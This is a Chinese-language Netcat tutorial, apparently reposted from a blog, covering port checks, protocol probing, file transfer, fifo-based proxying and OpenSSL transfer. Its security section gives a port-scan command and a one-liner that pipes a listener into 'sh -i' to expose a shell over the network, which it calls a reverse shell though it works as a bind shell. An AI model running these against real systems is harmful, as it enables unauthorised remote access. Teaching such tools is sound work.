ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Netcat使用介绍

2021-05-04 16:52:18  阅读:329  来源: 互联网

标签:tmp netcat nc 192.168 31.111 介绍 使用 Netcat 客户端


Netcat

netcat介绍

Netcat是一个主流的命令行网络工具。它主要是建立一****个传输层的连接,可以交互式的读取、写入应用层数据。支持TCP、UDP两个传输层协议,也支持Unix domain socket。作为客户端连接到服务器,作为服务端为某些程序提供一个网络接口。可以用来做一些的故障排查、文件传输、四层代理。

Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播。

Netcat使用介绍

一些使用

网络故障排查

  1. 检测端口是否启用
    • nc 192.168.31.111 22 -v
  2. 检测端口是否可用
    • nc 127.0.0.1 2345 -v

客户端

一些明文协议可以交互式的与服务端交互,如HTTP、Redis、memcache、smtp等协议

  1. HTTP客户端
    • 单个HTTP请求
      • printf "GET / HTTP/1.1\r\n\r\n" | nc 127.0.0.1 8000
    • 多个HTTP请求
      • nc 192.168.31.111 8080 < multiple_http_request
  2. Redis客户端
    • nc 192.168.31.111 6379
  3. SMTP客户端
    • nc smtp.sina.com 25 -v
  4. memcache客户端
    • nc 192.168.31.111 11211 -v
  5. JSON RPC客户端
    • nc 192.168.31.111 8101 -v

协议检测

对于一些非明文协议,比如SSH、MySQL等,虽然与服务端交互不是很友好,但是可以做一些协议类型的检测。

  1. SSH协议检测

    • nc 192.168.31.111 22
    • 输出: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.3
  2. MySQL协议检测
    • nc 192.168.31.111 3306
    • 输出: Q5.7.21-20-log}El/n}f a-ag[qgosOmysql_native_password

服务端

netcat可以监听一个地址,作为服务端,接受客户端的请求。

  • 监听在本地2345端口 nc -l 2345
文件传输
  • 服务端: nc -l 2345 < test.php
  • 客户端:nc 192.168.100.100 > test.php
作为一个程序的网络接口

需要通过命名管道(named pipe)实现两个进程的输入输出重定向。

命名管道是计算机进程间的一种先进先出通信机制。是类Unix系统传统管道的扩展。传统管道属于匿名管道,其生存期不超过创建管道的进程的生存期。但命名管道的生存期可以与操作系统运行期一样长。
与传统的无名的shell管道不同,命名管道利用了文件系统。使用mkfifo或mknod创建命名管道。两个进程可以通过管道的名字打开、读写管道。

jsonnrpc_server.py是一个简单的json rpc实现,它接收请求从标准输入,将jsonrpc响应输出到标准输出。

  • jsonrpc服务端: nc -l 2345 < /tmp/jsonrpc | ./jsonrpc_server.py > /tmp/jsonrpc
  • jsonrpc客户端: nc 127.0.0.1 2345

Netcat使用介绍

反向代理

HTTP

mkfifo /tmp/netcat_tunnel
nc -l 8081 < /tmp/netcat_tunnel | nc www.baidu.com 80 > /tmp/netcat_tunnel
curl 127.0.0.1:8081 -H 'Host: www.baidu.com'

HTTPS

nc -l 8081 < /tmp/netcat_tunnel | nc www.baidu.com 443 > /tmp/netcat_tunnel
curl https://127.0.0.1:8081 -H 'Host: www.baidu.com' -I -k

SSH

nc -l 8081 < /tmp/netcat_tunnel | nc 192.168.31.111 22 > /tmp/netcat_tunnel
ssh root@127.0.0.1 -p8081 -i ~/.ssh/id_rsa

安全

端口扫描

扫描192.168.31.111上的22到80端口号

nc -z 192.168.31.111 22-80

反向shell

nc -l 2345 < /tmp/netcat_tunnel | sh -i > /tmp/netcat_tunnel

OpenSSL

openssl套装提供了两个子命令,s_servers_client分别是ssl服务器和ssl客户端。

文件加密传输(openssl)

  1. 生成自签名证书
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
  2. 启动openssl服务端
    openssl s_server -key key.pem -cert cert.pem -port 2345 < test.php
  3. 客户端接收文件
    openssl s_client -host 127.0.0.1 -port 2345 -sess_out test.php

标签:tmp,netcat,nc,192.168,31.111,介绍,使用,Netcat,客户端
来源: https://blog.51cto.com/jlnetc/2752621

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有